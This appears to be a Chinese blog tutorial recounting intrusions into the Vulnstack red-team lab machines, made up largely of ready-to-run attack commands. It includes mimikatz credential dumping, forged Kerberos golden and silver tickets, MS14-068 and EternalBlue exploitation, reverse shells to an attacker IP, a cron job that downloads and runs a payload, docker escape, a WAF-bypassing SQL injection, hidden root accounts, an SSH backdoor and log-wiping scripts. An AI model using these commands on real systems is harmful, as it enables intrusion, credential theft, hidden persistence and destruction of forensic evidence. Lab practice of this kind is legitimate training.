扫码领资料
获网安教程
免费&进群
内网渗透之红队靶机通关之路
在渗透了Att&ck红队系统靶机后,发现自己对于内网这一块比较薄弱,这里进行整理了渗透所有靶机的思路和心得,并将内网渗透中常见的点进行了梳理加以记忆学习。
靶机地址如下:http://vulnstack.qiyuanxuetang.net/vuln/
靶机渗透的那回事:
主要涉及yxcms后台Getshell上传技巧、MS017010、Oracle
数据库TNS服务漏洞、RPC DCOM服务漏洞、redis Getshell、MySQL提权、基础服务弱口令探测及深度利用之powershell、wmi利用、C2命令执行、利用DomainFronting实现对beacon的深度隐藏;
渗透思路记录:
首先靶机有一台web服务器出网,访问泄露后台路径/index.php?r=admin,发现为yxcms后台,利用默认密码登录,前台模板进行添加木马成功getshell,方法二通过phpmyadmin日志写木马也可以进行getshell,杀入内网后进行初步信息收集,发现为windows7系统,上传mimikatz进行提取密码并开始3389。挂上跳板机,利用proxychains进行MS17_010渗透,不能成功的利用net use共享进行链接上传木马,设置schatasks任务计划成功获取域控,整体第一台靶机还是难度较易的。主要是学习常规的信息收集的思路和代理配置吧,可以了解一下ipc远程链接配合schatasks进行getshell
常规Windows信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
netstat -ano # 查看端口开放状态
tasklist /svc # 查看进程
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use # 查看是否有ipc链接
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\u # 查看192.168.xx.xx c盘user目录下的文件
xcopy \\192.168.xx.xx\c$
任务计划:
shell schtasks /create /tn "test" /tr C:\shell.exe /sc once /st 18:05 /S 192.168.52.138 /RU System /u administrator /p "Liu78963"
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewallnet config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器
dsquery
域命令
命令 | 作用 |
---|---|
dsquery computer domainroot -limit 65535 && net group "domain computers"/domain | 列出域中内所有机器名 |
dsquery user domainroot -limit 65535 && net user /domain | 列出该域内所有用户名 |
dsquery subnet | 列出该域内网段划分 |
dsquery group && net group /domain | 列出该域内分组 |
dsquery ou | 列出该域内组织单位 |
dsquery server && net time /domain | 列出该域内控制器 |
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" 用Ping命令探测内网主机
for k in $( seq 1 255);do ping -c 1 192.168.52.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
主要涉及Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术;
渗透思路记录:
首先从web口进行突破,利用nmap扫描发现出网机存在Weblogic组件,利用工具进行扫描,发现存在CVE-2019-2725漏洞(这里用msf渗透即可),拿到权限后可以利用msf模块进行派生一个shell给Cobaltstrike。拿到一台机器后,接下来进行常规的域内信息收集和端口探测,可以利用攻击进行自动化,上传一个Fscan或Ladon,直接进行扫描即可。从收集的信息进行分析,发现域控制器为DC.de1ay.com,因为其余是在内网环境(不出网双网卡),我们需要使用socks代理工具配合proxychains代理进目标内网,利用nmap和smb_ms17_010检测模块,发现靶机存在永恒之蓝漏洞,使用渗透模块测试,但这里会失败。换个思路这里可以利用cs进行获取到域控的密码为[email protected],然后直接利用CS进行pth攻击拿下内网靶机,或者这里使用net use进行上传木马也是可以的。拓展学习黄金票据/白银票据,主要就是用于Kerberos认证,让普通用户获取域管理员权限(即域控权限维持),至于Sid History即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。而SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
既然上面思路说到了黄金票据和白银票据,为了能让读者能够明白,下面进行解析。
Golden Ticket(黄金票据)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了黄金票据就有了域内的最高权限。
每个用户的Ticket
都是由krbtgt(这里指用户)的密码Hash来生成的,那么,如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的Ticket票据
,对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket(黄金票据)。
制作金票的条件:1、域名称
2、域的SID(Object Security ID)值
3、域的KRBTGT账户密码HASH(可以是aes256_hmac或者是ntml hash)
4、伪造用户名,可以是任意的
下面进行实操,做一个实验
第一步首先获取krbtgt的Hash
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt" "exit"
如果在msf的meterpreter中,可以用下面的
privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
获取到Hash NTLM为58e91a5ac358d86513ab224312314061
生成黄金票据
whoami /user
获取sid
这里我们不要最后一个-
后面的所有内容,所以获取到的sid是S-1-5-21-2952760202-1353902439-2381784089
/admin:伪造的用户名 /user也可以这里
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
伪造administrator用户,并在当前目录下会生成golden.kiribi
文件
mimikatz.exe "kerberos::golden /admin:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:golden.kiribi" "exit" ##这里也可以一步步来
# kerberos::golden /admin:需要伪造的域管理员用户名 /domain:god.org /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:golden.kirbi
导入伪造的黄金票据
,下面为了能顺利导入伪造的黄金,使用klist
查看Kerberos 票证缓存
kerberos::purge //先清空所有票据
kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机中
// kerberos::ptt <票据文件>
可看到有很多缓存票据,使用kerberos::purge
,清空缓存票据
这里现在无法访问域控中的文件
使用kerberos::ptt golden.kiribi
导入伪造的黄金票据
现在攻击者可成功访问域控文件,列出域控的C盘目录
介绍完黄金票据了,那么白银票据又是什么呢?
Silver Tickets(下面称银票)就是通过伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以
银票只能访问指定服务
。
ST(在TGS使用Server的Hash加密而成的),其中包含Client/Server SessionKey等信息
使用Client/TGS SessionKey加密的Client/Server SessionKey
而这就意味着,只要我们获得了对应Server的Hash
,则可以伪造出自己的ST
,从而访问特定服务
制作银票的条件
/domain:当前域名称
/sid:SID值
/target:目标主机
/service:服务名称,如cifs
/rc4:目标主机的HASH值
/user:要伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存
先到域控导出ntlm hash,找到域控的主机名+$,我这里的域控主机名是OWA,所以应该找到OWA\$
privilege::debug
sekurlsa::logonpasswords
Payload如下,利用
mimikatz.exe "kerberos::purge" "kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:owa.god.org /service:cifs /rc4:2312094791e73c34a26e4525823556f3 /user:silver /ptt" "exit"
### 成功访问到域控指定的服务
本次环境为黑盒测试,获取域控中存在一份重要文件;所有主机都为挂起状态,且账号都默认已经登录,已知出网主机为centos主机
渗透思路记录:
老规矩,首先搭建好环境配置,黑盒测试利用nmap找到出网机Centos,快速的法子可以用arpscan -l探测存活主机,在一系列信息收集过后,分析web服务,发现80端口是一个jommla框架的,版本为3.92,利用网上公开漏洞进行测试。目录扫描到一个敏感文件configuration.php~,在配置文件中获取数据库账号密码,使用Nivicat工具成功连接数据库,根据joomla官方文档找到一处漏洞利用执行sql语句在数据库添加admin2/secret 超级管理员,成功登录到后台进行模板上传木马成功getshell。尝试利用蚁剑连接,发现这里有一处坑,需要绕过disable_function限制(蚁剑自带插件或脚本),然后在tmp目找到一处用户密码利用ssh连接,脏牛提权一梭子过后,进行配置autoroute+代理转发socks,得到了三台加入TEST域的windows主机,利用hydra九头蛇工具进行smb主机爆破
出密码123qwe!ASD,配合msf的psexec模块进行横向渗透,这里也可以用impacket脚本中的wmiexec.py配合ipc$远程连接获取域控权限。一套渗透流程下来后,发现还是碰到许多问题的,前期的信息收集比较顺利。渗透到后面impacket脚本报错和环境问题处理了很久,还有就是手残老是删除msf的代理终端,导致又再次进行运行proxychains,正向反向代理也犯了错,正向是可以带出不出网的Ubuntu靶机的,本来没想到会渗透这么久,还是基础不够扎实吧,上面的渗透过程中也没用到CS(CS上线Linux),需要多加学习。总的来说还是收获颇深,需要多总结多练习。
kali下载impacket:https://blog.csdn.net/qq_51153463/article/details/124214378
joomla 官方文档:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
权限维持
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名
cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令
ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则
在Kali攻击机上执行如下:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在CentOS上传ew_for_linux64,并执行如下命令:
./ew_for_linux64 -s rssocks -d Kali攻击机IP -e 1234
本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞;
渗透思路记录:
几天的波折,渗透靶机来到系列四啦,首先进行搭建环境,靶机需要手动启动docker环境,分别为三个漏洞,Tomcat(CVE-2017-126155)\s2-045 RCE\phpmyadmin(CVE-2018-12613)文件包含,下面开始进行初步渗透,首先nmap扫描过后得到四个端口,22(SSH)、2001(struct)、2002(Tomcat)、2003(phpmyadmin),首先渗透tomcat,直接利用哥斯拉生成木马,配合bp利用put进行上传jsp木马成功获取权限,这里也可以用curl一句话。获取权限后,在这里利用常规suid提权、内核提权发现失败,继续搜索发现靶机存在docker环境(利用命令判断cat /proc/1/cgroup
),尝试进行特权模式+任务计划成功逃逸成功反弹shell拿到靶机权限,接下来用ew做代理,上传一个mimikatz配合ms14_068.exe进行域管理员权限提权,获取system权限后进行提取密码,利用xcopy+sc执行任务计划成功,生成正向shell成功获取权限后,继续进行横向渗透开启3389远程连接成功拿下域控。
curl一句话上传姿势
curl -X PUT http://IP:2002/shell.jsp/ -d @shell.jsp #注意url末尾有个/进行绕过
SSH 软连接后门,软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888添加特权用户uid为0的后门
useradd -p `openssl passwd 123456` -o -u 0 test
检测靶机是否在docker环境当中
ls -alh /.dockerenv 查看是否存在 dockerrnv 文件
cat /proc/1/cgroup 查看系统进程的cgroup信息
尝试利用特权模式进行逃逸
首先创建一个test文件夹,将宿主机根目录挂载至容器目录下
查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内test目录 mount /dev/sda1 /test
即可写文件获取权限或数据
利用crontab进行反弹shell
touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/攻击机IP/3333 0>&1' >> /test/tmp/test.sh
或
echo 'bash -c "bash -i >& /dev/tcp/192.168.0.103/3333 0>&1"' >> /test/tmp/test.sh写入crontab任务计划
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
其他的逃逸方法可参考:https://www.cnblogs.com/tomyyyyy/p/16275873.html#%E5%9B%9Bdocker-%E9%AB%98%E5%8D%B1%E5%90%AF%E5%8A%A8%E5%8F%82%E6%95%B0
可以利用该漏洞进行提权,将未授权的域用户账户权限提升到域控权限,有两个利用条件如下
1.域控没有打MS14-068的补丁
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
附上下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
先利用mimikatz工具进行获取hash提取密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc [email protected] //将票据注入net use \\WIN-ENS2VR5TR3N //票据注入后直接连接域控,注意这里用主机名不用ip
创建Windows正向木马进行上传
msfvenom -p windows/meterpreter/bind_tcp lport=4444 -f exe -o bind.exe
利用sc进行关闭防火墙、执行木马操作
sc \\WIN-ENS2VR5TR3N create disablefirewall binpath= "netsh advfirewall set allprofiles state off" #创建任务名为disablefirewall计划,关闭防火墙
xcopy 360.exe \\WIN-ENS2VR5TR3N\c$
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\360.exe" //创建任务名为Startup计划,执行木马
启动下面两个任务计划
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N start Startup
补充一下at
命令用法
net use \\IP\ipc$ "Admin12345" /user:god.org\administrator ## net use链接
ministrator # 建立ipc连接
copy beacon.exe \\IP\c$ # 拷贝执行文件到目标机器
net time \\IP # 查看时间
at \\IP 15:47 c:\beacon.exe #添加计划任务
ps #获取目标主机正在运行的进程
getpid #查看meterpreter shell的进程号
steal_token #窃取令牌
migrate 1584 ##迁移进程号为1584
use incognito
inpersonate_token "NT AUTHORITY\SYSTEM" ## 令牌窃取
Linux
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令:set history=0
:!commandlinux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:删除当天日志
sed -i '/当天日期/'d filename一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
Windows
1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。
MSF
run event_manager -i 查看日志
run event_manager -c 删除事件日志
主要包括常规信息收集、Web攻防Thinkphp、代码审计、漏洞利用、内网渗透以及域渗透等;
渗透思路记录:
靶机来到第五个系列,这个任务为渗透两台windows靶机,windows7出网,windows 2008不出网。老规矩,首先外网进行信息收集渗透,访问80端口发现为thinkphp5框架,直接利用nday渗透写木马getshell,然后就是经典的配置代理socks模块+proxychains即可,也可以利用ew进行windows代理,lcx等转发工具进行渗透。这里也可以利用CS来渗透,进行密码喷射后+fscan扫描,发现域控主机,直接利用psexec攻击拿下域控,总体来说这台靶机不难,第五台靶机的渗透之旅来说还行,可以拓展整整权限维持这块。
可参考thinkphp利用方式:https://drunkmars.top/2021/04/14/thinkphp%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E6%80%BB%E7%BB%93/
在攻击机VPS上执行如下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234在Windows 7上传ew_for_Win.exe并执行如下:
ew_for_Win.exe -s rssocks -d vpsIP -e 1234
然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们的程序代理进内网了
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
# set SMBPass c8c42d085b5e3da2e9260223765451f1:e8bea972b3549868cecd667a64a6ac46(Hash传递)
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
exploit
可参考:https://xz.aliyun.com/t/9718#toc-3
常见的有启动项/服务/任务计划后门
DLL劫持、Winlogon用户登录初始化、 Logon Scripts后门、注册表劫持、内存、进程注入等等
本次涉及内容为从某CMS漏洞然后打入内网然后到域控,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习;
渗透思路记录:
这个靶机渗透很奇妙,可能是环境搭建的问题,分析了一下,发现居然是通过代码审计进行利用。首先外网进行信息收集扫描,利用Ladon.exe工具成功扫描到一台Web端,发现为BlueCMS,这个CMS是爆出过很多漏洞的,通过网上找到此CMS的源码开始进行审计,定位$_GET发现来到ad_js.php存在一处Sql注入,进行构造发现又触发了D盾,好家伙有waf,尝试进行fuzz一些垃圾字符,测试了半天,发现/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,7 可以进行绕过,可以写一个python脚本或者手工爆出来,md5解密得到,最终获取到账号密码:admin/test123吗,成功登录到blueCms后台
源码分析
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); ## 存在Sql语句
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
else
{
if($ad['end_time'] < time())
{
$ad_content = $ad['exp_content'];
}
else
{
$ad_content = $ad['content'];
}
}
waf绕过D盾
ad_js.php?ad_id=-1/*%/*/union/*//*/select/*//*/1,2,3,4,5,6,7 ## 7个字段
ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database(/*%!"/*/ ## 这里通过fuzz出来,爆出数表
## 下面爆出字段
ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626C75655F61646D696E
## 下面爆出字段值,用户和密码
ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(admin_name)%20from%20blue_admin
/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(pwd)%20from%20blue_admin
可参考代码审计文章:https://www.cnblogs.com/Hi-blog/p/7990894.html
在后台进行翻阅,发现没什么利用点,访问robots.txt发现一处文件上传点,构造Payload绕过Waf
Bypass Payload
Content-Disposition: form-data; name="file"; filename=; filename="t.php"
主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等;
渗透思路
这次渗透是颇有意思的,学到的知识点很多。靶机渗透有5台机子,分别为2台Ubuntu+3台Windows,第二层网络主机都能上网,第三层不出网。那按照导图的思路,假设目标是给了Ubuntu1出网机进行渗透,那么我们首先进行信息收集,利用nmap进行探测,发现存在利用点81端口,是一个Laravel的站点,这个框架爆出过漏洞CVE-2021-3129,之前有复现过,漏洞利用原理是因为Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。我们可以利用phpggc工具进行生成poc,配合burp进行发包获取权限,或者这里利用脚本进行渗透。利用蚁剑进行连接,又发现shell是在docker容器中的,需要进行逃逸,这里有两种方法,第一个是利用docker之前爆出的漏洞,利用Docker runC漏洞逃逸(CVE-2019-5736),第二个上面讲过为docker特权逃逸,这里也可以利用msf的web_delivery模块进行生成payload,进行写入到/test/var/spool/cron/root(注意这里test为挂载目录)反弹shell,这里拿下的机子并不是Ubuntu1,发现其系统版本为Ubuntu 14.04,但也成功发现两个内网网卡192.168.52.1/24和192.168.93.1/24。峰回路转,有点奇怪,但继续信息收集,发现靶机还开放了6379端口,是存在redis未授权服务的,一梭子渗透拿下,成功获取ubuntu1权限,那么另外一台即是Ubuntu2了,这里进行尝试提权,发现靶机存在linux环境变量提权和Ubuntu内核提权(CVE-2021-3493),提权难度不高(这里我用了2种通杀都成功提权了),测试了一下成功拿到root权限后。老样子,进行代理的配置横向渗透,利用socks配合ew进行搭建反向代理,这个点卡了一段时间,最终终于可以利用proxychains nmap进行代理扫描了。可用参数proxychains4 nmap -Pn -sT -sV -F -O 内网IP,接着渗透,发现有一台Windows靶机开放了nginx服务(8080端口),牛逼plus,打开发现居然是通达OA系统,其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。一波操作猛如虎,脚本小子一个直接利用poc成功渗透反弹shell,拿下一台Windows7机子,接下来还是进行Windows这块的域信息收集,密码提取操作,成功获取域管理员administrator的凭证,得用其中一台机子当踏板,继续进行msf代理配合proxychains转发渗透其余两台靶机,最终第四台,靶机利用永恒之蓝渗透成功,域控靶机尝试利用psexec渗透失败,可能是防火墙的原因。那么我们直接利用上面的技巧 SC 命令进行关闭防火墙,最终利用psexec模块拿下域控主机,到此,渗透结束!
参考图搭建:
laravel漏洞复现可参考:https://www.freebuf.com/vuls/280508.html
poc利用:https://github.com/nth347/CVE-2021-3129_exploit
利用Docker runC漏洞逃逸
2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。
利用条件有两个:由一个攻击者控制的恶意镜像创建攻击者具有某已存在容器的写权限,且可通过docker exec进入。
poc下载脚本:https://github.com/Frichetten/CVE-2019-5736-PoC
这里需要打开main.go脚本,将脚本中要在目标机上执行的命令修改为反弹shell的命令,参数为攻击机IP和监听端口
执行命令编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将生成的利用程序main上传到目标主机并赋予权限
Docker特权逃逸
这里和上面写的差不多
mkdir /test 创建挂载目录test
fdisk -l 查看磁盘信息
mount /dev/sda1 /test 进行挂载
这里可以利用exploit/multi/script/web_delivery进行生成Linux反弹shell Poc(Target 6目标系统)
最终Payload如下
echo '* * * * * wget -qO KdwGEmVm --no-check-certificate http://IP:Port/kvMOwncGb; chmod +x KdwGEmVm; ./KdwGEmVm& disown' >> /test/var/spool/cron/root
将上面语句在靶机进行执行,等待任务计划执行成功弹回shell,逃逸docker环境
这个漏洞也是爆出过挺多次的,下面进行小小的总结一下,在扫描中发现靶机开放6379端口
漏洞复现
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
cd /redis-3.2.1
make # 编译安装
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ # 方便直接执行命令
redis未授权漏洞复现-流程
首先Kali攻击机进行生成密钥
ssh-keygen -t rsa
将生成的id_rsa.pub公钥写入redis服务
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 靶机IP -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
然后使用攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机:
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
保存后进行退出,利用SSH直接进行免密登录
ssh [email protected]靶机IP (免密登录)
环境变量劫持提权的条件,就是系统中存在带有suid的文件,且这个 文件中必须有系统命令;这样我们就可以命名一个和这个系统命令相同的文件,写入/bin/bash, 再将存放这个文件的路径加入环境变量中,当系统去执行这个带有系统命令的文件时,就会直接执行我们命名和这个系统命令相同的文件,而非真实的系统命令,从而实现劫持环境变量提权。
find / -perm -u=s -type f 2>/dev/null ##搜索可提权项
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps # 设置777权限
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell #成功获取root权限
可参考:https://blog.csdn.net/szgyunyun/article/details/107104288
附上poc,这里用burp进行渗透构造文件包含漏洞获取权限
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami
setg Proxies socks5:127.0.0.1:1089 # 这里需要修改proxychains配置文件
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40 # 设置
set payload windows/x64/meterpreter/bind_tcp # 正向连接
exploitnet use \\域控IP\ipc$ "Whoami2021" /user:"Administrator" # IPC$攻击
sc \\域控IP create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\域控IP start unablefirewall //开启unablefirewall服务
MSF下的Linux信息收集
主要收集内容:
网卡信息、arp缓存、网站配置文件、路由缓存、数据库密码、访问日志、浏览器历史记录、端口信息、hosts文件、历史记录、hash、明文密码、网站配置账密、wifi密码、cmdkeyMSF模块总结
post/linux/gather/checkvm判断目标主机是否为虚拟机
post/linux/gather/enum_configs查看配置信息
post/linux/gather/enum_network查看网络
post/linux/gather/enum_protections查看共享
post/linux/gather/enum_system查看系统和用户信息
post/linux/gather/enum_users_histroy查看目标主机最近的操作
post/linux/gather/hashdump获取linux的hash
MSF下的Windows信息收集
主要收集内容
主要收集内容:
域内用户的密码(管理员密码)、IPC连接记录、端口开放状态、浏览器痕迹(密码)、无线密码、数据库密码,还有一些系统文件,如hosts文件、dns缓存信息,比较需要注意的是Waf(防火墙或杀毒软件)、补丁和进程信息,还有留意网站的服务配置文件,内网OA系统、邮件服务器、核心产品的源码、用户信息、任务计划、启动项、注册表信息等等,这里就尽量收集的全一些,方便后面的渗透post/windows/gather/forensics/enum_drives获取目标主机的磁盘分区情况
post/windows/gather/checkvm判断目标主机是否为虚拟机
post/windows/gather/enum_services查看开启的服务
post/windows/gather/enum_applications查看安装的应用
post/windows/gather/enum_shares查看共享
post/windows/gather/dumplinks查看目标主机最近的操作
post/windows/gather/enum_patches查看补丁信息
scraper导出多个信息
隧道是什么呢?当我们在渗透测试,进入内网后,搭建隧道对于内网渗透是一个不可缺失的环节,就好比我们要判断流量是否可以进出,渗透过程中遇到IPS、防火墙等设备的防护,阻断了通信连接,这时候就需要搭建隧道,做一个端口转发,利用OSI不同层协议的流量去尝试,搭建常见的隧道进一步内网渗透。常见的内网隧道如下
应用层隧道:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
传输层隧道:TCP隧道、UDP隧道
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道
ICMP隧道搭建
VPS:
./pingtunnel -type server
肉鸡:(管理器运行)
pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1
CS:
监听器1:127.0.0.1 6666
监听器2:192.168.46.66 7777
生成监听器1的Stager后门肉鸡执行
SSH隧道搭建
SSH即Secure Shell,它对传输的数据进行了加密处理。利用SSH,也可以实现端口转发
SSH一般用于本地端口转发和远程端口转发
如下进行ssh隧道搭建
ssh -R 6666:攻击机IP:80 -fN [email protected]远程主机
# 将远程主机的6666端口映射到内网机器的80端口
# -R 参数表示进行远程端口转发
# -N 参数表示该连接不做任何操作,仅用于端口转发
# -g 表示允许外来主机连接该VPS的6666端口
# -L 表示做本地端口映射,6666表示本地端口,192.168.239.129:22表示目标映射的地址与端口
curl 127.0.0.1:6666 ## 成功进行访问
或者执行如下命令
假设环境是这样的,本机可以访问到targer1,但是访问不到target2,这里我们就target1为跳板机然后利用ssh的端口转发来直接用本机连接上target2的ssh服务
ssh -CfNg -L 6666:192.168.239.129:22 [email protected] #6666为本机端口,其他ip和端口看图
即将本地主机的6666端口映射到内网主机192.168.239.129的22端口上
ssh [email protected] -p 6666 即可成功连接
远程端口转发
学习
